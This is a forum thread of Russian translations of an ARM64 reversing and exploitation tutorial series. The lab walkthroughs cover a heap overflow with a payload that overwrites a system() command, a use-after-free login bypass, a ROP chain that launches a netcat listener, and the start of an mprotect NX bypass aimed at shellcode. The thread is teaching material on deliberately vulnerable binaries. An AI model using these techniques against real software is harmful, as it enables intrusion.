• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 1 - набор инструкций ARM + простое переполнение

Оглавление
  • ARM64 реверсинг и эксплуатация часть 0x1
  • ARM64 реверсинг и эксплуатация часть 0x2
  • ARM64 реверсинг и эксплуатация часть 0x3
  • ARM64 реверсинг и эксплуатация часть 0x4
  • ARM64 реверсинг и эксплуатация часть 0x5
  • ARM64 реверсинг и эксплуатация часть 0x6
  • ARM64 реверсинг и эксплуатация часть 0x7
  • ARM64 реверсинг и эксплуатация часть 0x8
  • ARM64 реверсинг и эксплуатация часть 0x9
  • ARM64 реверсинг и эксплуатация часть 0x10


Всем привет! В этой серии статей мы познакомимся с набором инструкций ARM и будем использовать его для реверсинга двоичных файлов ARM с последующим написанием эксплойтов для них. Итак, начнем с основ ARM64.

Введение в ARM64

ARM64 - это семейство архитектуры RISC (вычисление с сокращенным набором команд). Отличительным фактором архитектуры RISC является использование небольшого, высоко оптимизированного набора инструкций, а не более специализированного набора, часто встречающегося в других типах архитектуры (например, CISC). ARM64 следует подходу Загрузки/Сохранения, в котором и операнды, и место назначения должны быть в регистрах.
Архитектура загрузки-сохранения - это архитектура набора команд, которая делит инструкции на две категории: доступ к памяти (загрузка и сохранение между памятью и регистрами) и операции ALU (которые происходят только между регистрами). Это отличается от архитектуры регистр-память (например, архитектуры набора инструкций CISC, такой как x86), в которой один из операндов для операции ADD может находиться в памяти, а другой - в регистре. Использование архитектуры ARM идеально подходит для мобильных устройств, поскольку архитектура RISC требует небольшого количества транзисторов и, следовательно, приводит к меньшему энергопотреблению и нагреву устройства, что приводит к увеличению времени автономной работы, что очень важно для мобильных устройств.

И текущие телефоны iOS и Android используют процессоры ARM, а более новые используют ARM64 в частности. Таким образом, реверсинг ассемблерного кода ARM64 жизненно важно для понимания внутренней работы двоичного файла или любого двоичного файла/приложения. Невозможно охватить весь набор инструкций ARM64 в этой серии статей, поэтому мы сосредоточимся на наиболее полезных инструкциях и наиболее часто используемых регистрах. Также важно отметить, что ARM64 также называется ARMv8 (8.1, 8.3 и так далее), А ARM32 - это ARMv7.

ARMv8 (ARM64) поддерживает совместимость с существующей 32-битной архитектурой за счет использования двух состояний выполнения - Aarch32 и Aarch64. В состоянии Aarch32 процессор может обращаться только к 32-битным регистрам. В состоянии Aarch64 процессор может обращаться к 32-битным и 64-битным регистрам. ARM64 есть несколько регистров общего и специального назначения. Регистры общего назначения - это те регистры, которые не имеют побочных эффектов и, следовательно, могут использоваться большинством инструкций. С ними можно делать арифметические операции, использовать их для адресов памяти и так далее. Регистры специального назначения также не имеют побочных эффектов, но могут использоваться только для определенных целей и только по определенным инструкциям. Другие инструкции могут неявно зависеть от их значений. Одним из примеров этого является регистр указателя стека. А еще у нас есть контрольные регистры - у этих регистров есть побочные эффекты. На ARM64 это регистры, такие как TTBR (Базовый Регистр Таблицы Трансляции), который содержит базовый указатель таблиц текущей страницы. Многие из них будут привилегированными и могут использоваться только кодом ядра. Однако некоторые регистры управления могут использоваться кем угодно.
На изображении ниже мы видим некоторые управляющие регистры из ядра XNU.

1.png


Современная ОС предполагает наличие нескольких уровней привилегий, которые она может использовать для управления доступом к ресурсам. Примером этого является разделение между ядром и пользовательской средой. Armv8 обеспечивает такое разделение, реализуя различные уровни привилегий, которые в архитектуре Armv8-A называются уровнями исключений. ARMv8 имеет несколько уровней исключений, которые пронумерованы (EL0, EL1 и так далее), чем выше номер, тем выше привилегия. При возникновении исключения уровень исключения может увеличиваться или оставаться прежним. Однако при возврате из исключения уровень исключения может либо уменьшиться, либо остаться прежним.
Состояние выполнения (Aarch32 или Aarch64) может измениться, принимая или возвращаясь из исключения. При включении устройство переходит на самый высокий уровень исключения.

С точки зрения привилегии EL0 <EL1 <EL2 <EL3

2.png


Регистры ARM64

В следующем списке определены различные регистры ARM64 и их назначение.

- x0-x30 - 64-битные регистры общего назначения. Доступ к их нижним частям можно получить через w0-w30.
- Имеется четыре регистра указателя стека SP\_EL0, SP\_EL1, SP\_EL2, SP\_EL3 (каждый для разных уровней выполнения), которые имеют ширину 32 бита. Кроме того, есть три регистра связи исключений ELR\_EL1, ELR\_EL2, ELR\_EL3, три сохраненных регистра состояния программы SPSR\_EL1, SPSR\_EL2, SPSR\_EL3 и один регистр счетчика программ (PC).
- Arm также использует относительную адресацию ПК - при этом он указывает адрес операнда относительно PC (базовый адрес) - Это помогает в выдаче независимого от позиции кода.
- В ARM64 (в отличие от ARM32) к PC невозможно получить доступ по большинству инструкций, особенно напрямую. PC модифицируется косвенно с использованием инструкций перехода или стека.
- Точно так же регистр SP (указатель стека) никогда не изменяется неявно (например, при использовании вызовов push/pop).
- Регистр текущего состояния программы (CPSR) содержит те же флаги состояния программы, что и APSR, вместе с некоторой дополнительной информацией.
- Первый регистр в коде операции обычно является местом назначения, остальные - источником (кроме str, stp)



РегистрыНазначение
x0 -x7Аргументы (до 8) - остаются в стеке
x8 -x18Общего назначение, хранящие переменные. По возвращении из функции нельзя делать никаких предположений.
x19 -x28Если используется функцией, их значения должны быть сохранены и позже восстановлены при возврате к вызывающей функции
x29 (fp)Указатель кадра (указывает в нижнюю часть кадра)
x30 (lr)Ссылка на регистр. Содержит обратный адрес вызова
x16Сохраняет системный вызов # в вызове (SVC 0x80)
x31 (sp/(x/w)zr)Указатель стека (sp) или нулевой регистр (xzr или wzr)
PCРегистр счетчика программ ПК. Содержит адрес следующей инструкции, которая должна быть выполнена
APSR / CPSRРегистр текущего состояния программы

Соглашение о вызовах ARM64

- Аргументы передаются в регистры x0-x7, остальные передаются в стек
- команда ret используется для возврата к адресу в регистре Link (значение по умолчанию x30)
- Возвращаемое значение функции сохраняется в x0 или x0+x1 в зависимости от того, 64-битное оно или 128-битное.
- x8 - регистр косвенного результата, используемый для передачи адреса косвенного результата, например, когда функция возвращает большую структуру
- Переход к функции происходит с использованием опкода B.
- Branch with link (BL) копирует адрес следующей инструкции (после BL) в регистр ссылок (x30) перед переходом
- BL, следовательно, используется для вызовов подпрограмм
- Вызов BR используется для перехода в регистр, например, br x8
- Код BLR используется для перехода в регистр и сохранения адреса следующей инструкции (после BL) в регистре ссылок (x30)

Опкоды ARM

ОпкодыНазначение
MOVПереместить один регистр в другой
MOVNПереместить отрицательное значение в регистр
MOVKПереместить 16 бит в регистр, а остальные оставить без изменений
MOVZСдвинутые 16-битные регистры, оставив остальные без изменений
lsl/lsrЛогический сдвиг влево, Логический сдвиг вправо
ldrЗагрузить регистр
strСохранить регистр
ldp/stpЗагрузить/сохранить два регистра друг за другом
adrАдрес метки при смещении относительно PC
adrpАдрес страницы при смещении относительно PC
cmpСравнить два значения, флаги обновляются автоматически
bneПереход, если нулевой флаг не установлен

Системные регистры

Помимо этого, также могут быть некоторые системные регистры, которые доступны только в этой конкретной ОС. Например, следующие регистры присутствуют в iOS

3.png


Чтение/запись системных регистров

MRS, systemreg -> Прочитать из системного регистра в регистр назначения Xt

MSR, systemreg -> Записать в системный регистр значение, хранящееся в регистре Xt

Например, используйте MSR PAN, #1 для установки бита PAN и MSR PAN, #0 для очистки бита PAN

Пролог/Эпилог функции

Пролог - появляется в начале функции, подготавливает стек и регистры для использования в функции.

Эпилог - появляется в конце функции, восстанавливает стек и регистры в исходное состояние до вызова функции.

4.png

Примеры

- mov x0, x1 -> x0 = x1
- movn x0, 1 -> x0 = -1
- add x0, x1 -> x0 = x0 + x1
- ldr x0, [x1] -> x0 = *x1 -> x0 = Адрес хранится в x1
- ldr x0, [x1, 0x10]! -> x1 += 0x10; x0 = *x1(Режим предварительной индексации)
- ldr x0, [x1], 0x10 -> x0 = *x1; x1 += 0x10 (Режим пост-индексации)
- str x0, [x1] -> *x1 = x0 -> Назначение хранится справа
- ldr x0, [x1, 0x10] -> x0 = *(x1 + 0x10)
- ldrb w0, [x1] -> Загрузить байт из адреса, хранящегося в x1
- ldrsb w0, [x1] -> Загрузить байт со знаком из адреса, хранящегося в x1
- adr x0, label -> Загрузить адрес label в x0
- stp x0, x1, [x2] -> *x2 = x0; *(x2 + 8) = x1
- stp x29, x30, [sp, -64]! -> Сохранить x29, x30 (LR) на стек
- ldp x29, x30, [sp], 64] -> Восстановить x29, x30 (LR) из стека
- svc 0 -> Выполнить системный вызов (регистр x16 номер системного вызова)
- str x0, [x29] -> Сохранить x0 по адресу x29 (пункт назначения справа)
- ldr x0, [x29] -> Загрузить значение из адреса в x29 в x0
- blr x0 -> Вызвать подпрограмму по адресу, хранящемуся в x0, сохраняет следующую инструкцию в регистре ссылок (x30)
- br x0 -> Перейти к адресу, хранящемуся в x0
- bl label -> Переход к label, сохранение следующей инструкции в регистре ссылок (x30)
- bl printf -> Вызов функции printf с сохраненными аргументами x0, x1
- ret -> Перейти по адресу, хранящемуся в x30

Простое переполнение кучи

Давайте напишем простой эксплойт переполнения кучи для двоичного файла ARM.

Ваша задача - использовать уязвимость переполнения кучи в двоичном файле vuln, чтобы выполнить команду по вашему выбору. Двоичные файлы скомпилированы для платформы iOS, поэтому их необходимо запускать на взломанном устройстве iOS.

Бинарные файлы для этой и следующей статьи можно найти здесь (https://drive.google.com/file/d/1f3PDEz-Fh9I3rSDhpMGW5ZrCU9g0BjKL/view?usp=sharing)

Подключитесь по SSH к вашему устройству Corellium (или взломанной iOS) и запустите двоичный файл vuln

$ vuln

Запустите двоичный файл vuln. Вы получаете сообщение "Удачи в следующий раз"

5.png


Давайте откроем двоичный файл в Hopper, чтобы посмотреть, что происходит. Давайте посмотрим на основную функцию.

6.png


Итак, ясно, что нам нужно сделать, чтобы перейти к функции heapOverflow.

Для этого должны быть выполнены следующие требования.

- Передайте три аргумента (или 2, потому что первый аргумент в программе C - это команда, с которой программа вызывается)
- argv[1] должен быть строкой "heap"
- argv[2] должен быть аргументом, который передается в качестве первого аргумента в функцию heapOverflow.

Просто напомню

Основная функция в C имеет прототип

int main(int argc, char **argv)

argc - целое число, которое содержит количество аргументов, следующих в argv. Параметр argc всегда больше или равен 1.

argv - массив строк с завершающим нулем, представляющих аргументы командной строки, введенные пользователем программы.
По соглашению, argv [0] - это команда, с которой вызывается программа, argv [1] - это первый аргумент командной строки, и так далее, пока argv [argc], который всегда NULL

Давайте также посмотрим на псевдокод функции heapOverflow. Обратите внимание, что PseudoCode отображается для 32-разрядной архитектуры, но все же дает вам хорошее представление о потоке программы.

7.png


Кажется, что он пытается открыть файл с именем в качестве первого аргумента, который ему передается.

В конце также есть вызов системной функции, которая выполняет команду, input - регистр r22 (или x22)

Выделение для r21 (x21) составляет 0x400 байт, которое читается с помощью следующей команды fread

fread (r21, 0x1, r20, r19);

Давайте создадим на устройстве простой файл и передадим его в качестве входных данных в двоичный файл vuln.

echo "Hello World" > input.txt ./vuln heap input.txt

8.png


Кажется, он распечатывает ввод для команды whoami

Давайте немного схитрим, чтобы взглянуть на сам исходный код

C:
void heapOverflow(char *filename){
    printf("Heap overflow challenge. Execute a shell command of your choice on the device\n");
    printf("Welcome: from %s, printing out the current user\n", filename);
    FILE *f = fopen(filename,"rb");
    fseek(f, 0, SEEK_END);
    size_t fs = ftell(f);
    fseek(f, 0, SEEK_SET);
    char *name = malloc(0x400);
    char *command = malloc(0x400);
    strcpy(command,"whoami");
    fread(name, 1, fs, f);
    system(command);
    return;
}

Конечно, передача файла длиной более 0x400 байтов приведет к переполнению смежной памяти и может закончиться переполнением строки "command", и, таким образом, когда будет выполнен системный вызов, мы сможем вызывать наши собственные команды.

На устройстве Corellium используйте следующую команду для создания вредоносного файла

python3 -c ‘print (“/”*0x400+”/bin/ls\x00”)’> hax.txt

Затем передайте его как ввод в двоичный файл.

vuln heap hax.txt

9.png


Вместо команды whoami выполняется команда ls.

Можете ли вы попробовать получить оболочку на устройство, используя это?


Ссылки

Источник 8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/
Автор перевода: yashechka
Переведено специально для https://xss.pro
 
Последнее редактирование модератором:
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 2 - USE AFTER FREE
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-2-use-after-free
Автор статьи 8ksecresearch.
Автор перевода handersen.


В этом посте мы будем эксплуатировать уязвимость Use-After-Free в исполняемом файле vuln. Файлы для этой и последующих статей можно забрать здесь: https://drive.google.com/file/d/1f3PDEz-Fh9I3rSDhpMGW5ZrCU9g0BjKL/view?usp=sharing. Эта задача с UaF, основана на аналогичной, использованной в учебной виртуалке Protostar (прим. переводчика - заменена на Phoenix: https://exploit.education/phoenix/): https://exploit.education/protostar/heap-two/.

Уязвимости Use-After-Free происходят при обращении к области памяти выделенной в куче, после ее освобождения. Это приводит к различным видам непредсказуемого поведения, начиная с аварийного завершения работы приложения.

В любом случае, давайте приступим. Скопируйте исполняемый файл vuln на ваш девайс с iOS или Corellium (прим. Переводчика – Corellium это фреймворк для исследования ПО на уязвимости, в т. ч. iOS https://www.corellium.com/).

Запустите vuln. Вы получите сообщение, говорящее “В следующий раз повезет“.

p1.png


Давайте откроем исполняемый файл в Hopper (статья на русском) и посмотрим, что же происходит. Заглянем в функцию main.

Как и в предыдущем примере по переполнению кучи (в 1 части), обратим внимание на передачу управления функции useafterfree. Для этого нам нужно передать на вход vuln, аргумент uaf.

p2.png


В этом случае, функция main передаст управление функции useafterfree.

p3s.png


p3.png

Вывод показывает адреса объектов user customerChat. Мы видим здесь несколько команд, однако после реверса функции, мы обнаруживаем, что есть еще одна скрытая команда reset, которая по факту освобождает память, использовавшуюся объектом user.

p4.png


p4a.png

В этом можно убедиться, взглянув на сам код.

p5.png


Мы видим, что у структуры user, есть некое свойство password. Это будет проверяться чуть позже. При вводе пароля BBB, пользователь залогинивается.

p6.png

В этом условном примере UaF, как только объект user, окажется уничтожен с помощью команды reset, а затем произойдет вызов if(user->password) - по факту будет спровоцировано UaF.

Мы в общем-то можем вычислить размер объекта user. Объект user, является экземпляром структуры currentUser, как можно видеть в следующей строке.

p7.png

p7a.png

Размер объекта user: 256 + 4 = 260 байт.

Если мы можем освободить память, использовавшуюся объектом user командой reset и затем перезаписать ее значением BBBB..., мы перезаписывая таким образом свойство password, мы эксплуатируем Use-after-free и успешно логинимся.

Так как наша цель - войти в систему, давайте попробуем сделать это, сначала введя команду username.

p8.png

p8a.png

p9.png


После нескольких попыток мы видим, что адрес customerChat совпадает с адресом объекта user. В этом случае мы смогли изменить свойство password освобождённого объекта user, используя только символы B. И следовательно еще раз введя команду login, мы получаем сообщение об успешном входе.

Порядок выполнения команд:

p10.png
 
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 3 простая ROP цепочка
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain
Автор статьи 8ksecresearch.
Автор перевода handersen.


Возвратно-ориентированное программирование (ROP), позволяет условному злоумышленнику выполнить код при наличии защитных средств, таких как защита памяти от выполнения кода или цифровая подпись, используя т. н. ROP-гаджеты. Подробнее о ROP, можно прочесть здесь и в старенькой, но годной статье Хакера.
В этом посте мы разработаем ROP цепочку для исполняемого файла rop. Файлы к статье здесь: https://drive.google.com/file/d/1f3PDEz-Fh9I3rSDhpMGW5ZrCU9g0BjKL/view?usp=sharing

Ваша задача заключается в том, чтобы вызов функции chain1 следовал за вызовом chain2.

Цепляйтесь по SSH к вашему девайсу с Corellium или iOS (прим. переводчика – Corellium это фреймворк для исследования ПО на уязвимости, в т. ч. iOS https://www.corellium.com/) и запускайте файл rop.

p1.png


Выполните команду rop.

p2.png


p3.png


Ничего особенного не произошло, однако после реверса функции main мы выясняем, что она имеет дополнительный аргумент и пытается открыть некий файл с именем hax.bin, если этот аргумент получен (аргумент может быть каким угодно). arg0 = argc, который здесь равен 2, если функции передан единственный аргумент.

p4.png


Если мы посмотрим на код, то действительно происходит именно это.

p5.png


Как упоминалось в задании, наша цель в вызове функции chain1 вслед за вызовом chain2. Вызов этих функций, в такой последовательности - запустит на устройстве netcat, прослушивающий порт 4000.

p6.png


Еще одна вещь о которой мы должны знать – это смещение. Смещение, это необходимое случайное значение, добавленное к стартовому адресу исполняемого файла, чтобы добиться смещения всех адресов. Эта программа имеет преднамеренную утечку информации, в которой она выдает адрес функции main. Мы можем найти это смещение, вычитанием адреса функции main взятого из запущенного бинарника и адреса функции main взятого из того же файла, открытого в Hopper (статья на русском).

Давайте еще раз запустим исполняемый файл со случайным аргументом.

p7.png


Адрес функции main у запущенного файла: 0x102693d50

а адрес функции main у файла открытого в Hopper: 0x100007d50

p8.png


Мы можем определить смещение, вычитанием адресов. Вы можете использовать python или любой HEX-калькулятор (напр. https://www.calculator.net/hex-calculator.html) чтобы вычесть адреса.

p9.png


Итак, в данном случае смещение равно 0x268c000. Воспользовавшись этой информацией, мы можем выяснить правильные адреса функций chain1 и chain2. Мы просто прибавим смещение к их адресам.

Важно отметить, что такое смещение, при каждом запуске – будет отличаться.

Идея заключается в том, чтобы продолжать ввод данных, которые перезапишут регистр связи (LR). После нескольких попыток мы обнаружили, что ввод показанный ниже перезапишет регистр связи (LR) символами CCCCCCCC т. е. \x43\x43\x43\x43\x43\x43\x43\x43.

Создайте файл hax.bin в том же каталоге, что и исполняемый, командой:

p10.png


p11.png


Запустите файл rop еще раз и нажмите Enter после ввода любых данных. Он считает входные данные из hax.bin, который мы только что создали и аварийно завершит работу.

Теперь нам нужно посмотреть логи аварийного завершения работы. Есть парочка способов их просмотра.

а) На вашем устройстве, перейдите в Настройки->Конфиденциальность->Аналитика и улучшения->Данные Аналитики и просмотрите последний лог падения для файла rop (лог с наибольшим номером, это самый свежий).

Мы видим, что регистр LR перезаписан 4343434343434343, которые все являются символами C.

p12.png


b) Другой способ, это посмотреть их через Xcode, если ваше устройство подключено к ноутбуку – перейдите в Window -> Devices and Simulators -> Select your device on the left and click on Logs

p13.png


c) Еще один способ – использовать утилиту командной строки idevicecrashreport. Проверьте, что на вашем ноутбуке установлен пакет libimobiledevice.

Запустите команду idevicecrashreport. чтобы копировать логи аварийного завершения к себе на комп и проанализировать их.

Так или иначе, теперь предельно ясно, что нам надо делать. Нам необходимо перезаписать конечную часть пейлоада, которая у нас равна \x43\x43\x43\x43\x43\x43\x43\x43 – адресом функции chain1. С этим однако, есть кое-какие трудности. У ARM64, значение регистра LR (x30) сначала кладется на стек, а потом снимается со стека. См. скрин ниже.

p14.png


Нам нужна возможность контролировать регистр x30 (который, является регистром связи), сразу как только функция chain1 завершит работу. И там пока не просматривается способов, сделать это красиво.

Однако, если мы перейдем ко второй инструкции функции chain1, мы можем обходным путем заставить функцию загрузить другое значение со стека, которое мы могли бы контролировать. Разумеется это приведет к смещению стека, но мы специально хотим сдвинуть стек, чтобы снять со стека следующий адрес возврата (0x30), который мы можем контролировать, позднее мы можем подтолкнуть стек вверх, настолько насколько нам надо.

p15.png


Таким образом, перейдя ко второй инструкции, адрес которой в двоичном файле на диске равен 0x100007cdc, нам в первую очередь нужно найти смещенный адрес в запущенном файле прибавив к нему смещение.

Давайте снова запустим исполняемый файл – в этот раз адрес функции main равен 0x10023bd50, и его мы используем в расчете ниже.

p16.png


p17.png


Смещенный адрес второй инструкции chain1 равен:

p18.png


Давайте запихнем его в наш пейлоад.

p19.png


Удалим любые предыдущие файлы hax.bin, если они конечно есть и создадим новый, такой как показано ниже.

p20.png


Нажмите Enter при запущенном файле rop и вы увидите, что первая ROP цепочка выполнилась. Отлично, мы прошли полпути. Теперь нам нужно найти способ, выполнить функцию chain2.

p21.png


Сейчас, нам необходимо продолжать вводить наш пейлоад до тех пор, пока мы снова не перезапишем регистр LR, чтобы он стал указывать на функцию chain2.

После неоднократного тестирования, мы пришли к следующему пейлоаду, который позволяет еще раз перезаписать регистр LR.

p22.png


  • /x41 – мусор для заполнения адресного пространства
  • /x42 – отправная точка оригинального регистра LR, куда мы должны прописать вторую инструкцию функции chain1
  • /x46 – тоже мусор-заполнитель
  • /x48 – должен указывать на функцию chain2
Итак, вооружившись всей этой информацией, теперь мы можем еще раз написать нашу ROP цепочку.

Давайте снова запустим программу. В этот раз, адрес функции main равен 0x1008b3d50.

p23.png


p24.png


p25.png


А сейчас, используя эту информацию, мы можем создать нашу ROP цепочку.

p26.png


p27.png


Нажмите Enter при запущенном файле rop и ОПА! Мы видим, что вторая ROP цепочка выполнилась, а приложение все еще продолжает работать, что предполагает открытый порт, прослушиваемый netcat!

p28.png
 
Последнее редактирование:
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 4 - использование mprotect() для обхода защиты от исполнения NX Protection
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
Автор статьи 8ksecresearch.
Автор перевода handersen.


Вступление

Всем привет! В этом посте мы будем рассматривать, как применять функцию mprotect() для обхода обхода защиты от исполнения у ARM64 - NX Protection. Однако перед тем, как мы погрузимся в детали, есть несколько тем, которыми вы должны владеть.
  1. Знание инструкций ассемблера ARM64.
  2. Знание процесса эксплуатации переполнения буфера в стеке.
  3. Основы ROP цепочек для ARM64.
  4. Настроенное окружение ARM64 с gef (https://hugsy.github.io/gef/) и gdb.
Для этого вы можете прочесть предыдущие статьи:
  1. ARM64 реверсинг и эксплуатация часть 0x1
  2. ARM64 реверсинг и эксплуатация часть 0x2
  3. ARM64 реверсинг и эксплуатация часть 0x3
Настройка лаборатории

Вы можете использовать окружение по своему выбору. Однако, если вы новичок и хотите в точности повторить наши шаги, используйте для эмуляции образы qemu:​

Мы будем использовать образ убунту для AARCH64.

Также убедитесь, что отключили ASLR следующей командой.

Bash:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Mprotect

Начнем разбираться с mprotect. Итак, что же это такое?

mprotect() это функция, которую по сути можно использовать для изменения атрибутов защиты отдельных областей памяти. Это включает изменение атрибутов защиты области памяти с чтения на запись, с записи на выполнение и т. д. Вы могли бы спросить, а зачем вообще менять атрибуты защиты памяти?

В таком случае вспомните предыдущие статьи, где мы использовали ROP цепочку для вызова функции system(), хорошо? Итак, что же случится, если в исполняемом файле нет функции system() или когда нам нужно сделать больше, чем просто выполнить функцию system()?

*прим. переводчика – в предыдущей статье о ROP цепочках, нет никакой функции system().

При таком раскладе, нам потребуется создать шеллкод и выполнить его. Однако замысел защиты от исполнения - NX Protection, состоит как раз в том, чтобы выполнение нашего шеллкода непосредственно в стеке стало невозможным. Проще говоря, использование базовой техники ROP предлагает ограниченную гибкость и возможности использования по сравнению с выполнением шеллкода. Например выполнение шеллкода, позволяет нам легко получить соединение по реверс-шеллу, тогда как составление простой ROP цепочки, для выполнения одной функции system(), не дает такой же гибкости. Главной фишкой ROP цепочек, является последовательность существующих гаджетов из целевой программы, для достижения конкретной цели, такой как вызов выбранной функции.

Итак, для обхода NX Protection, мы можем использовать функцию mprotect(). Вызывая ее, мы можем изменить разрешения для стека на "исполняемый" и выполнить шеллкод. А сейчас, давайте взглянем на страницу man в Linux для mprotect().

https://man7.org/linux/man-pages/man2/mprotect.2.html

C:
int mprotect(void *addr, size_t len, int prot);

Давайте пристальнее рассмотрим функцию mprotect() и три параметра, которые она требует.

  • addr: addr означает адрес. Этот параметр задает начальный адрес области памяти, защиту которой требуется изменить.
  • len: len означает длина. Этот параметр, представляет длину области памяти в байтах, защиту которой требуется изменить.
  • prot: prot означает защита. Этот параметр, определяет атрибуты защиты, выбранной области памяти.
Так, как мы сосредоточились на ARM64, придется задуматься о том, как следует вызывать эту функцию, в соответствии с условиями соглашения о вызовах у ARM64.

Мы полагаем, что большинство читателей знакомы с соглашением о вызовах ARM64 из предыдущих статей. Если вы не вспомнили, позвольте нам по-быстрому освежить вам память.

Первые 8 аргументов, берутся из регистров x0 ... x7. Так, как у нас присутствуют три аргумента для mprotect() – нам требуется три регистра: x0, x1 и x2.

  • x0: должен содержать адрес стека.
  • x1: должен содержать размер области памяти. В данном случае, мы можем использовать значение: 0x0101010101010101. Этого значения более, чем достаточно, чтобы вместить наш шеллкод и оно к тому же не содержит нулевых байтов. Короче, использовать можно.
  • x2: должен содержать значение: 0x0000000000000007. Как нам известно, в Linux используется битовая маска для установки флагов защиты для областей памяти. Если мы разберем двоичное представление этого значения, то увидим, что все три младшие бита установлены в 1, представляющие права на чтение, запись и выполнение. Это изменит атрибуты защиты памяти в стеке, разрешив чтение, запись и выполнение.
Уязвимый выполняемый файл

Давайте для демонстрации, рассмотрим небольшой уязвимый бинарник.

C:
#include <stdio.h>
#include <string.h>


void reverse(){

    int i,length;
    char str[20];
    printf("Enter the string : ");
    gets(str);
    length = strlen(str);
    printf("Reverse of the string: ");
    for (i = length - 1; i >= 0; i--) {
        printf("%c", str[i]);
    }

    printf("\n");

}

int main() {
    char str[20];
    int length, i;
    printf("The program will print the reverse of an input string \n");
    reverse();
    return 0;
}

Вы можете скомпилировать его с помощью gcc, использовав команду ниже:

Bash:
gcc mprotect.c -fno-stack-protector -o mprotect

Эта простая программа на C, которая принимает строку и печатает символы в обратном порядке. Просматривая исходный код программы, вы можете видеть, что она использует функцию gets(), для получения строки. Входные данные, полученные посредством функции gets(), заносятся в архив символов размером 20 байт.

C:
char str[20];

Если мы введем больше символов, чем буфер может вместить - это переполнит и перезапишет смежные области памяти и спровоцирует уязвимость переполнения буфера.

Давайте запустим исполняемый файл, чтобы получить наглядное представление.

Программа принимает строку hello, используя функцию gets() и печатает ее в обратном порядке.

Давайте закинем на вход сильно побольше данных и посмотрим на реакцию программы.

p7.png


Как и ожидалось, программа аварийно завершила работу. Давайте исследуем происшедшее с помощью gdb.

Bash:
gdb  ./ mprotect

Давайте повторим, ввод слишком больших данных.

p9.png


p10.png


Выше мы можем видеть, что Program Counter (PC), был перезаписан символами "A" из нашего ввода. Теперь займемся поиском позиции во входных данных, начиная с которой перезаписывается значение PC. Используйте для этого генератор шаблонов. Мы применим онлайн-инструмент, указанный ниже.

p11.png


Подтвердим создание шаблона. Сначала сгенерим 40 “A“, чтобы заполнить буфер и прибавим 8 “B“ дополнительно, чтобы перезаписать PC.

p12.png

p13.png


Как и ожидалось PC заполнен нашими “B“.

Поиск гаджетов

Теперь, имея определенное представление об исполняемом файле, давайте перейдем к плану атаки.

Сначала нам следует вызвать переполнение буфера и перезаписать Program Counter (PC) – адресами соответствующих гаджетов, чтобы заполнить регистры x0, x1 и x2 подходящими значениями, необходимыми для вызова mprotect(). Затем, нам необходимо подобрать их таким образом, чтобы смогли вызвать функцию mprotect() и сделать стек исполняемым. И наконец, после изменения атрибутов защиты памяти, мы должны передать управление шеллкоду и выполнить его для получения шелла.

Как нам известно, наш подопытный файл – скомпонован динамически. Значит, исполняемый файл каждый раз загружает загрузчик, который в свою очередь загружает в память соответствующие библиотеки, таким образом мы можем задействовать для эксплуатации – гаджеты в файле библиотеки.

Если мы запустим исполняемый файл и используем команду vmmap, то мы определим область загруженной библиотеки libc.

p14.png


Мы копируем это в нашу хостовую ОС, т. к. использование ropper внутри виртуалки, будет ну ооочень медленным.

Для этого вы можете использовать https://www[.]keep.sh/.

Bash:
curl -k --upload-file libc-2.23.so https://free.keep.sh

*прим. переводчика – keep.sh больше не работает, используйте другие способы копирования файлов из виртуалки в хостовую ОС.

Для загрузки файла на ваш хост, используйте curl.

Ну, что – теперь бахнем из ropper-а по libc и выбъем тонны гаджетов!!!

p16.png


Теперь для поиска гаджетов, вам стоит думать об этом, как о решении паззла.

Во-первых, нам надо представить инструкции, которые помогут заполнить наши регистры. На ум приходят две основные инструкции:

  • ldr: загрузить регистр
  • ldp: загрузить два регистра друг за другом
Давайте поищем гаджеты, которые будут загружать значения из стека, в наши регистры x0, x1 и x2.

p17.png


Из выдачи ropper, мы можем видеть, что большинство показанных здесь гаджетов бесполезны и список сильно “зашумлен“. При поиске гаджетов отдавайте предпочтение тем, у которых меньше избыточных инструкций, и убедитесь, что они заканчиваются инструкцией „ret“. Небольшое количество избыточных инструкций, упрощает эксплоит, экономит время и силы, т. к. в противном случае, нам пришлось бы потратить их на обработку бесполезных инструкций. В добавок, для незаметного выполнения каждого последующего гаджета, каждый гаджет по определению должен завершаться инструкцией ret. Давайте попробуем инструкции ldp.

p18.png


К сожалению, у нас нет ни одного гаджета, который нам подходит. Итак, что дальше?

Мы можем проделать то же самое, для каждого гаджета. Чтобы упростить нам задачу скажем, что мы все это уже проделали, но большинство гаджетов оказалось бесполезными. Мы искали гаджеты ldr и ldp, для регистров x0, x1 и x2, однако не нашли достаточно таких, которые можно применить для нашей задачи. Там были кое-какие полезные гаджеты, но они по прежнему тащили с собой множество избыточных инструкций. Значит на данном этапе, нам придется опять скорректировать наши действия. Это повод, получше исследовать некоторые альтернативные способы. Мы крайне рекомендуем вам, поискать какие-нибудь гаджеты, применив свою собственную методику, перед тем как читать дальше. Итак, как же нам поступать, когда мы натолкнулись на такой затык?

Вот поэтому-то мы и говорили, что когда собираешь ROP цепочки, всегда продумывайте варианты сборки этого паззла. Если один способ не работает – пробуйте другие. Мы знаем, что есть не так уж много гаджетов для регистров x0, x1 и x2, которые нам подходят, верно? Но мы, тем не менее поищем другие гаджеты, которые будут копировать значения из стека в другие регистры, а затем использовать гаджеты, имеющие инструкции mov, чтобы копировать значения, уже в регистры нужные нам.

Давайте попробуем это сделать.

p19.png


